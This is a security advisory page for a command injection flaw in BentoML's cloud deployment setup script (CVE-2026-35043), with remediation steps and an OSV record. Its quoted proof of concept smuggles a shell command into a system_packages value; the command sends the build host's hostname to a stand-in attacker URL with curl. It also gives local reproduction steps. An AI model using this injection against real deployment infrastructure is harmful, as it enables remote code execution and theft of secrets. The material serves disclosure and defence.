CVE-2026-35043: BentoML Command Injection Vulnerability

HIGH
Advisory Identifier: GHSA-fgv4-6jr3-jgfw
CVSS 7.8
CWE-78
Published
Advisory Summary

CVE-2026-35043 is a HIGH (CVSS 7.8) command injection vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting BentoML libraries in the PyPI ecosystem. The issue involves command injection in cloud deployment setup script. Remediation is available by upgrading affected packages to version 1.4.38.

CVE-2026-35043 at a Glance

CVE Identifier CVE-2026-35043
GHSA Identifier GHSA-fgv4-6jr3-jgfw
Severity HIGH
CVSS v3.1 Base Score 7.8
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product BentoML
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-35043

To remediate this vulnerability, upgrade all affected BentoML dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

bentoml fixed: 1.4.38
pip install bentoml>=1.4.38
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show bentoml

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-35043, inspect your installed packages using pip:

pip show bentoml

Analyze the terminal output to locate any version of BentoML in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.4.38), your application is affected.

Note: The pip show bentoml command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In BentoML, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

Commit ce53491 (March 24) fixed command injection via `system_packages` in Dockerfile templates and `images.py` by adding `shlex.quote`. However, the cloud deployment path in `src/bentoml/_internal/cloud/deployment.py` was not included in the fix. Line 1648 interpolates `system_packages` directly into a shell command using an f-string without any quoting. The generated script is uploaded to BentoCloud as `setup.sh` and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier. ## Details **Fixed paths (commit ce53491):** - `src/_bentoml_sdk/images.py:88` - added `shlex.quote(package)` - `src/bentoml/_internal/bento/build_config.py:505` - added `bash_quote` Jinja2 filter - Jinja2 templates: `base_debian.j2`, `base_alpine.j2`, etc. **Unfixed path:** `src/bentoml/_internal/cloud/deployment.py`, line 1648: def _build_setup_script(bento_dir: str, image: Image | None) -> bytes: content = b"" config = BentoBuildConfig.from_bento_dir(bento_dir) if config.docker.system_packages: content += f"apt-get update && apt-get install -y {' '.join(config.docker.system_packages)} || exit 1\n".encode() `system_packages` values from `bentofile.yaml` are joined with spaces and interpolated directly into the `apt-get install` command. No `shlex.quote`. **Remote execution confirmed:** - Line 905: `setup_script = _build_setup_script(bento_dir, svc.image)` in `_init_deployment_files` - Line 908: `upload_files.append(("setup.sh", setup_script))` uploads to BentoCloud - Line 914: `self.upload_files(upload_files, ...)` sends to the remote deployment - The script runs on the cloud build infrastructure during container setup **Second caller at line 1068:** `_build_setup_script` is also called during `Deployment.watch()` for dev mode hot-reload deployments. ## Proof of Concept bentofile.yaml: service: "service:svc" docker: system_packages: - "curl" - "jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}#" Generated setup.sh: apt-get update && apt-get install -y curl jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}# || exit 1 The semicolon terminates the `apt-get` command. `${IFS}` is used for spaces (works in bash, avoids YAML parsing issues). The `#` comments out the trailing `|| exit 1`. The injected `curl` exfiltrates the hostname of the build infrastructure to the attacker. ## Impact A malicious `bentofile.yaml` achieves remote code execution on BentoCloud's build infrastructure (or enterprise Yatai/Kubernetes build nodes) during deployment. Attack scenarios: 1. **Supply chain:** A shared Bento from a public model hub contains a poisoned `bentofile.yaml`. When deployed to BentoCloud, the injected command runs on the build infrastructure. 2. **Insider threat:** A data scientist with deploy permissions injects commands into `system_packages` to exfiltrate secrets from the build environment (cloud credentials, API keys, other tenants' data). 3. **CI/CD compromise:** The build infrastructure typically has access to container registries, artifact storage, and deployment APIs, making this a pivot point for broader infrastructure compromise. ## Local Reproduction Steps Tested and confirmed on Ubuntu with BentoML source at commit 0772581. Step 1: Create a directory with a malicious bentofile.yaml: mkdir /tmp/bento-pwn cat > /tmp/bento-pwn/bentofile.yaml << 'EOF' service: "service:svc" docker: system_packages: - "curl" - "jq; touch /tmp/PWNED_BY_INJECTION #" EOF Step 2: Generate the setup script using the vulnerable code path (extracted from deployment.py:1648): python3 -c " import yaml with open('/tmp/bento-pwn/bentofile.yaml') as f: config = yaml.safe_load(f) pkgs = config['docker']['system_packages'] script = f\"apt-get update && apt-get install -y {' '.join(pkgs)} || exit 1\n\" print('Generated setup.sh:') print(script) with open('/tmp/bento-pwn/setup.sh', 'w') as f: f.write(script) " Step 3: Execute and verify: rm -f /tmp/PWNED_BY_INJECTION bash /tmp/bento-pwn/setup.sh ls -la /tmp/PWNED_BY_INJECTION Result: `/tmp/PWNED_BY_INJECTION` is created, confirming the injected `touch` command executed. The semicolon broke out of `apt-get install`, the injected command ran, and `#` commented out the error handler. Generated setup.sh content: apt-get update && apt-get install -y curl jq; touch /tmp/PWNED_BY_INJECTION # || exit 1 For comparison, the fixed version (with shlex.quote) would generate: apt-get update && apt-get install -y curl 'jq; touch /tmp/PWNED_BY_INJECTION #' || exit 1 The single quotes from shlex.quote neutralize the semicolon and hash, treating the entire string as a literal package name argument to apt-get. ## Suggested Fix Apply `shlex.quote` to each package name, matching the fix in `images.py`: if config.docker.system_packages: quoted = ' '.join(shlex.quote(p) for p in config.docker.system_packages) content += f"apt-get update && apt-get install -y {quoted} || exit 1\n".encode() — Koda Reef

CVE-2026-35043 Affected BentoML Versions

1 component(s)
Fixed Versions:
1.4.38
Product / Package Ecosystem Affected Versions Fixed Version
bentoml
PyPI
< 1.4.38
1.4.38

References

Frequently Asked Questions

What is CVE-2026-35043?
CVE-2026-35043 is a security vulnerability in BentoML involving Command Injection in cloud deployment setup script under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which BentoML versions are affected?
Affected versions include releases prior to 1.4.38 across affected packages: bentoml.
What version fixes CVE-2026-35043?
Upgrading to 1.4.38 (or the latest patched release for your respective branch) resolves the vulnerability.
Is bentoml affected?
Yes, bentoml is affected in releases prior to 1.4.38. Upgrade your dependency to 1.4.38 or later.
What is the CVSS score of CVE-2026-35043?
CVE-2026-35043 has a CVSS v3.1 base score of 7.8 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-35043?
CVE-2026-35043 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check PyPI dependencies for CVE-2026-35043?
Run the dependency tree command: 'pip show bentoml'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fgv4-6jr3-jgfw",
  "modified" : "2026-06-08T20:04:34Z",
  "published" : "2026-04-03T22:03:22Z",
  "aliases" : [ "CVE-2026-35043" ],
  "summary" : "BentoML: Command Injection in cloud deployment setup script",
  "details" : "Commit ce53491 (March 24) fixed command injection via `system_packages` in Dockerfile templates and `images.py` by adding `shlex.quote`. However, the cloud deployment path in `src/bentoml/_internal/cloud/deployment.py` was not included in the fix. Line 1648 interpolates `system_packages` directly into a shell command using an f-string without any quoting.\n\nThe generated script is uploaded to BentoCloud as `setup.sh` and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier.\n\n## Details\n\n**Fixed paths (commit ce53491):**\n- `src/_bentoml_sdk/images.py:88` - added `shlex.quote(package)`\n- `src/bentoml/_internal/bento/build_config.py:505` - added `bash_quote` Jinja2 filter\n- Jinja2 templates: `base_debian.j2`, `base_alpine.j2`, etc.\n\n**Unfixed path:**\n\n`src/bentoml/_internal/cloud/deployment.py`, line 1648:\n\n    def _build_setup_script(bento_dir: str, image: Image | None) -> bytes:\n        content = b\"\"\n        config = BentoBuildConfig.from_bento_dir(bento_dir)\n        if config.docker.system_packages:\n            content += f\"apt-get update && apt-get install -y {' '.join(config.docker.system_packages)} || exit 1\\n\".encode()\n\n`system_packages` values from `bentofile.yaml` are joined with spaces and interpolated directly into the `apt-get install` command. No `shlex.quote`.\n\n**Remote execution confirmed:**\n- Line 905: `setup_script = _build_setup_script(bento_dir, svc.image)` in `_init_deployment_files`\n- Line 908: `upload_files.append((\"setup.sh\", setup_script))` uploads to BentoCloud\n- Line 914: `self.upload_files(upload_files, ...)` sends to the remote deployment\n- The script runs on the cloud build infrastructure during container setup\n\n**Second caller at line 1068:** `_build_setup_script` is also called during `Deployment.watch()` for dev mode hot-reload deployments.\n\n## Proof of Concept\n\nbentofile.yaml:\n\n    service: \"service:svc\"\n    docker:\n      system_packages:\n        - \"curl\"\n        - \"jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}#\"\n\nGenerated setup.sh:\n\n    apt-get update && apt-get install -y curl jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}# || exit 1\n\nThe semicolon terminates the `apt-get` command. `${IFS}` is used for spaces (works in bash, avoids YAML parsing issues). The `#` comments out the trailing `|| exit 1`. The injected `curl` exfiltrates the hostname of the build infrastructure to the attacker.\n\n## Impact\n\nA malicious `bentofile.yaml` achieves remote code execution on BentoCloud's build infrastructure (or enterprise Yatai/Kubernetes build nodes) during deployment. Attack scenarios:\n\n1. **Supply chain:** A shared Bento from a public model hub contains a poisoned `bentofile.yaml`. When deployed to BentoCloud, the injected command runs on the build infrastructure.\n2. **Insider threat:** A data scientist with deploy permissions injects commands into `system_packages` to exfiltrate secrets from the build environment (cloud credentials, API keys, other tenants' data).\n3. **CI/CD compromise:** The build infrastructure typically has access to container registries, artifact storage, and deployment APIs, making this a pivot point for broader infrastructure compromise.\n\n## Local Reproduction Steps\n\nTested and confirmed on Ubuntu with BentoML source at commit 0772581.\n\nStep 1: Create a directory with a malicious bentofile.yaml:\n\n    mkdir /tmp/bento-pwn\n    cat > /tmp/bento-pwn/bentofile.yaml << 'EOF'\n    service: \"service:svc\"\n    docker:\n      system_packages:\n        - \"curl\"\n        - \"jq; touch /tmp/PWNED_BY_INJECTION #\"\n    EOF\n\nStep 2: Generate the setup script using the vulnerable code path (extracted from deployment.py:1648):\n\n    python3 -c \"\n    import yaml\n    with open('/tmp/bento-pwn/bentofile.yaml') as f:\n        config = yaml.safe_load(f)\n    pkgs = config['docker']['system_packages']\n    script = f\\\"apt-get update && apt-get install -y {' '.join(pkgs)} || exit 1\\n\\\"\n    print('Generated setup.sh:')\n    print(script)\n    with open('/tmp/bento-pwn/setup.sh', 'w') as f:\n        f.write(script)\n    \"\n\nStep 3: Execute and verify:\n\n    rm -f /tmp/PWNED_BY_INJECTION\n    bash /tmp/bento-pwn/setup.sh\n    ls -la /tmp/PWNED_BY_INJECTION\n\nResult: `/tmp/PWNED_BY_INJECTION` is created, confirming the injected `touch` command executed. The semicolon broke out of `apt-get install`, the injected command ran, and `#` commented out the error handler.\n\nGenerated setup.sh content:\n\n    apt-get update && apt-get install -y curl jq; touch /tmp/PWNED_BY_INJECTION # || exit 1\n\nFor comparison, the fixed version (with shlex.quote) would generate:\n\n    apt-get update && apt-get install -y curl 'jq; touch /tmp/PWNED_BY_INJECTION #' || exit 1\n\nThe single quotes from shlex.quote neutralize the semicolon and hash, treating the entire string as a literal package name argument to apt-get.\n\n## Suggested Fix\n\nApply `shlex.quote` to each package name, matching the fix in `images.py`:\n\n    if config.docker.system_packages:\n        quoted = ' '.join(shlex.quote(p) for p in config.docker.system_packages)\n        content += f\"apt-get update && apt-get install -y {quoted} || exit 1\\n\".encode()\n\n— Koda Reef",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "bentoml"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.4.38"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.4.37"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/bentoml/BentoML/security/advisories/GHSA-fgv4-6jr3-jgfw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33744"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-35043"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/bentoml/BentoML"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2026-158.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-03T22:03:22Z",
    "nvd_published_at" : "2026-04-06T18:16:41Z"
  }
}